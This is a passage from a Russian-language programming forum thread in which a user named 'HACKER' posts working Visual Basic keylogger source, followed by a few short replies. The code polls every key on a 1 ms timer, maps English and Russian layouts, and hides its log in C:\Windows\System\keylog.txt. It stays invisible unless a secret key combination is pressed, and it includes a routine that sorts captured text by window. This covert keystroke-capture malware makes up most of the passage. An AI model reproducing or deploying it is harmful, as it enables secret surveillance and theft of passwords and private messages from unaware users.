    AllKeyLog = AllKeyLog + "?"
    End If
End If
    keystate = Getasynckeystate(vbKey8)
If Shift = 0 And (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "8"
     End If
          If Shift <> 0 And (keystate And &H1) = &H1 Then
AllKeyLog = AllKeyLog + "*"
End If
      keystate = Getasynckeystate(vbKey9)
If Shift = 0 And (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "9"
     End If
          If Shift <> 0 And (keystate And &H1) = &H1 Then
AllKeyLog = AllKeyLog + ";("
End If
      keystate = Getasynckeystate(vbKey0)
If Shift = 0 And (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "0"
     End If
     DoEvents
          If Shift <> 0 And (keystate And &H1) = &H1 Then
AllKeyLog = AllKeyLog + ";)"
End If
     keystate = Getasynckeystate(vbKeyBack)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "{bkspc}"
     End If
      keystate = Getasynckeystate(vbKeyTab)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "{tab}"
     End If
      keystate = Getasynckeystate(vbKeyReturn)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + vbCrLf
     End If
      keystate = Getasynckeystate(vbKeyShift)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "{shift}"
     End If
   keystate = Getasynckeystate(vbKeyControl)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "{ctrl}"
     End If
   keystate = Getasynckeystate(vbKeyMenu)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "{alt}"
     End If
   keystate = Getasynckeystate(vbKeyPause)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "{pause}"
     End If
   keystate = Getasynckeystate(vbKeyEscape)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "{esc}"
     End If
   keystate = Getasynckeystate(vbKeySpace)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + " "
     End If
      keystate = Getasynckeystate(vbKeyEnd)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "{end}"
     End If
      keystate = Getasynckeystate(vbKeyHome)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "{home}"
     End If
keystate = Getasynckeystate(vbKeyLeft)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "{left}"
     End If
keystate = Getasynckeystate(vbKeyRight)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "{right}"
     End If
keystate = Getasynckeystate(vbKeyUp)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "{up}"
     End If
   keystate = Getasynckeystate(vbKeyDown)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "{down}"
     End If
keystate = Getasynckeystate(vbKeyInsert)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "{insert}"
     End If
keystate = Getasynckeystate(vbKeyDelete)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "{Delete}"
     End If
     DoEvents
keystate = Getasynckeystate(&HBA)
If Shift = 0 And (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + ";"
     End If
     If Shift <> 0 And (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + ":"
        End If
keystate = Getasynckeystate(&HBB)
If Shift = 0 And (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "="
     End If
     If Shift <> 0 And (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "+"
     End If
keystate = Getasynckeystate(&HBC)
If Shift = 0 And (keystate And &H1) = &H1 Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + ","
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "б"
    End If
     End If
     If Shift <> 0 And (keystate And &H1) = &H1 Then
        If l$ = "English" Then
        AllKeyLog = AllKeyLog + "<"
        ElseIf l$ = "Russian" Then
        AllKeyLog = AllKeyLog + "Б"
        End If
    End If
keystate = Getasynckeystate(&HBD)
If Shift = 0 And (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "-"
     End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "_"
     End If
keystate = Getasynckeystate(&HBE)
If Shift = 0 And (keystate And &H1) = &H1 Then
        If l$ = "English" Then
        AllKeyLog = AllKeyLog + "."
        ElseIf l$ = "Russian" Then
        AllKeyLog = AllKeyLog + "ю"
        End If
    End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + ">"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "Ю"
    End If
    End If
keystate = Getasynckeystate(&HBF)
If Shift = 0 And (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "/"
     End If
     If Shift <> 0 And (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "?"
     End If
keystate = Getasynckeystate(&HC0)
If Shift = 0 And (keystate And &H1) = &H1 Then
  
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "`"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "ё"
    End If

     End If
     If Shift <> 0 And (keystate And &H1) = &H1 Then
    
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "~"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "Ё"
    End If

     End If
keystate = Getasynckeystate(&HDB)
DoEvents
If Shift = 0 And (keystate And &H1) = &H1 Then
        
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "["
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "х"
    End If
    
     End If
     If Shift <> 0 And (keystate And &H1) = &H1 Then
    
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "{"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "Х"
    End If
    
     End If
keystate = Getasynckeystate(&HDC)
If Shift = 0 And (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "\"
     End If
     If Shift <> 0 And (keystate And &H1) = &H1 Then
    
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "|"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "/"
    End If
  
     End If
keystate = Getasynckeystate(&HDD)
If Shift = 0 And (keystate And &H1) = &H1 Then
      
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "]"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "ъ"
    End If
     
     End If
     If Shift <> 0 And (keystate And &H1) = &H1 Then
    
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "}"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "Ъ"
    End If
    
     End If
keystate = Getasynckeystate(&HDE)
If Shift = 0 And (keystate And &H1) = &H1 Then
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + "'"
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "э"
    End If
     End If
     If Shift <> 0 And (keystate And &H1) = &H1 Then
   
    If l$ = "English" Then
    AllKeyLog = AllKeyLog + Chr$(34)
    ElseIf l$ = "Russian" Then
    AllKeyLog = AllKeyLog + "Э"
    End If
    End If
keystate = Getasynckeystate(vbKeyMultiply)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "*"
     End If
keystate = Getasynckeystate(vbKeyDivide)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "/"
 
     End If
keystate = Getasynckeystate(vbKeyAdd)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "+"
     End If
keystate = Getasynckeystate(vbKeySubtract)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "-"
     End If
keystate = Getasynckeystate(vbKeyDecimal)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "{Del or ,}"
     End If
   keystate = Getasynckeystate(vbKeyF1)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "{F1}"
     End If
   keystate = Getasynckeystate(vbKeyF2)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "{F2}"
     End If
   keystate = Getasynckeystate(vbKeyF3)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "{F3}"
     End If
   keystate = Getasynckeystate(vbKeyF4)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "{F4}"
     End If
   keystate = Getasynckeystate(vbKeyF5)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "{F5}"
     End If
   keystate = Getasynckeystate(vbKeyF6)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "{F6}"
     End If
   keystate = Getasynckeystate(vbKeyF7)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "{F7}"
     End If
   keystate = Getasynckeystate(vbKeyF8)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "{F8}"
     End If
     DoEvents
   keystate = Getasynckeystate(vbKeyF9)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "{F9}"
     End If
   keystate = Getasynckeystate(vbKeyF10)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "{F10}"
     End If
   keystate = Getasynckeystate(vbKeyF11)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "{F11}"
     End If
   keystate = Getasynckeystate(vbKeyF12)
If Shift = 0 And (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "{F12}"
     End If
'When the user hits F12, the program becomes visible.
'If Shift <> 0 And (keystate And &H1) = &H1 Then
'   Form1.Visible = True
'     End If
     
    keystate = Getasynckeystate(vbKeyNumlock)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "{NumLock}"
     End If
     keystate = Getasynckeystate(vbKeyScrollLock)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "{ScrollLock}"
         End If
    keystate = Getasynckeystate(vbKeyPrint)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "{PrintScreen}"
         End If
       keystate = Getasynckeystate(vbKeyPageUp)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "{PageUp}"
         End If
       keystate = Getasynckeystate(vbKeyPageDown)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "{Pagedown}"
         End If
         keystate = Getasynckeystate(vbKeyNumpad1)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "1"
         End If
         keystate = Getasynckeystate(vbKeyNumpad2)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "2"
         End If
         keystate = Getasynckeystate(vbKeyNumpad3)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "3"
         End If
         keystate = Getasynckeystate(vbKeyNumpad4)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "4"
         End If
         DoEvents
         keystate = Getasynckeystate(vbKeyNumpad5)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "5"
         End If
         keystate = Getasynckeystate(vbKeyNumpad6)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "6"
         End If
         keystate = Getasynckeystate(vbKeyNumpad7)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "7"
         End If
         keystate = Getasynckeystate(vbKeyNumpad8)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "8"
         End If
         keystate = Getasynckeystate(vbKeyNumpad9)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "9"
         End If
         keystate = Getasynckeystate(vbKeyNumpad0)
If (keystate And &H1) = &H1 Then
  AllKeyLog = AllKeyLog + "0"
         End If

End Sub



потом где-то в форме нужно пстоянно вызывать KeyLog


Private Sub Timer1_Timer() 'интервал 1 мс (минимальный)
'Записываем нажатые кнопки
DoEvents
KeyLog
End Sub


когда надо посмотреть что мы там налогировали, просто вызываем GetKeyLog


StrKeyLog$ = GetKeyLog  'Получаем нажатые кнопки в переменную

'Записуем нажатые кнопки в файл
On Error GoTo e
If Len(Trim(Replace(StrKeyLog$, vbNewLine, "";))) > 1 Then
    Open "C:\Windows\System\keylog.txt" For Append As #1
    Print #1, StrKeyLog$ & vbNewLine
End If
e:
Close #1


только мусора много получается, но кнопки все перехватует, для очистики мусора написал такую ф-цию, но она всёравно не всё чистит...


Private Sub FilterKeyLog() 'Фильтрует список от мусора

StrKeyLog$ = LoadTextFile("C:\Windows\System\keylog.txt";)
s = Split(StrKeyLog, "![";)
StrKeyLog = ""
 
 On Error GoTo e
 
If UBound(s) < 2 Then Exit Sub
For i = 0 To UBound(s)

If InStr(1, s(i), "Время", vbTextCompare) > 0 Then
    If Left(s(i), 2) <> "![" Then
        StrKeyLog$ = StrKeyLog & "![" & s(i) & vbCrLf
    Else
    s(i) = Replace(s(i), "![![", "![";)
        StrKeyLog$ = StrKeyLog & s(i) & vbCrLf
    End If
Else
    StrKeyLog = StrKeyLog$ & s(i) & vbCrLf
End If
Next i
StrKeyLog$ = Replace(StrKeyLog$, "![![", "![";)
StrKeyLog$ = StrKeyLog$ & "![Конец]!"
s = Split(StrKeyLog, "![";)


StrKeyLog$ = vbCrLf
For i = 0 To UBound(s) - 1
yo:
    EndStr1% = InStr(1, s(i), "]!";)
    EndStr2% = InStr(1, s(i + 1), "]!";)
    
    If EndStr1% <> 0 And EndStr2% <> 0 Then
      
      okno1$ = Left$(s(i), EndStr1% - 2)
      str1$ = Mid(s(i), EndStr1% + 2, Len(s(i)))
                
      okno2$ = Left$(s(i + 1), EndStr2% - 2)
      str2$ = Mid(s(i + 1), EndStr2% + 2, Len(s(i + 1)))
      
      If (okno1$ = okno2$ And Len(str2$) >= Len(str1$)) Or okno2$ = "Коне" Then
        i = i + 1
        ind = i
        If ind = UBound(s) Then GoTo hvatit
        GoTo yo
      Else
hvatit:
         If ind = 0 Then ind = i
         If okno2$ = "Коне" Then ind = ind - 1
      
      Do Until Replace(s(ind), vbCrLf & vbCrLf, vbCrLf) = s(ind)
      s(ind) = Replace(s(ind), vbCrLf & vbCrLf, vbCrLf)
      Loop
      
        If Len(s(ind)) < 200 Then StrKeyLog$ = StrKeyLog$ & "![" & s(ind) & vbCrLf
      End If

    End If
nxt:
Next i
e:
Set s = Nothing
Kill "C:\Windows\System\keylog.txt"
SaveToFile StrKeyLog$, "C:\Windows\System\keylog.txt" 'Записали отфильтрованный
End Sub


ну и пходу всего этого пригодится


Public Sub SaveToFile(Data$, PathFile As String)
'Сохранение переменной в файл
   n = FreeFile
   Open PathFile For Binary As #n
   Put n, , Data$
   Close #n
End Sub

Public Function LoadTextFile(path As String) As String
'Загрузка файла в переменную
 Dim l As Long
 Dim s As String
 n = FreeFile
 Open path For Binary As #n
 l = LOF(n)
 s = String(l, vbNullChar)
 Get n, , s
 Close #n
 LoadTextFile = s
End Function



всё :)


Ответить

Номер ответа: 11
Автор ответа:
 CyRax



Разработчик Offline Client

ICQ: 204447456 

Вопросов: 180
Ответов: 4229
 Web-сайт: basicproduction.nm.ru
 Профиль | | #11
Добавлено: 06.10.05 04:26
Vit,
 не проснувшись с ответа 4 ты уже видимо не проснёшся вовсе. Ну да после того как HACKER заху... ...фигачил тут своё творение видимо уже это и не нужно :)

Ответить

Номер ответа: 12
Автор ответа:
 Vit



Вопросов: 68
Ответов: 62
 Web-сайт: www.home-soft.jino-net.ru
 Профиль | | #12
Добавлено: 06.10.05 17:26
2 CyRax
Что значит не проснулся? Я пробую код у себя наработе, а по Net'у общаюсь дома. На работе к сети меня пока не допускают (хотя допустят ли вообще?) или только под присмотром - почту проверить. Так что зайти сюда получается только вечером.

2 All
Спасибо всем за помощь.

Ответить

Номер ответа: 13
Автор ответа:
 HACKER


 

Разработчик Offline Client

Вопросов: 236
Ответов: 8362
 Профиль | | #13 Добавлено: 06.10.05 20:34
не ацтой, буду на делфи dll юзать которая хук ставит, мой вариант рабочий, но как-то это через Ж смотриться :)

Ответить

Номер ответа: 14
Автор ответа:
 Sharp


Лидер форума

ICQ: 216865379 

Вопросов: 106
Ответов: 9979
 Web-сайт: sharpc.livejournal.com
 Профиль | | #14
Добавлено: 06.10.05 22:19
Новая мода на vbnet.ru - превращать форум в cvs-up. Нельзя было куда-нибудь на бесплатный хостинг кинуть, некоторые здесь платят за траффик.

Ответить

Номер ответа: 15
Автор ответа:
 HACKER


 

Разработчик Offline Client

Вопросов: 236
Ответов: 8362
 Профиль | | #15 Добавлено: 06.10.05 22:46
ну сорри, просто влом выгружать... скопипестить с блокнотика быстрее чем выгрузить :) да и сам я за траф плачу...

Ответить

Страница: 1 |

Поиск по форуму



© Copyright 2002-2011 VBNet.RU | Пишите нам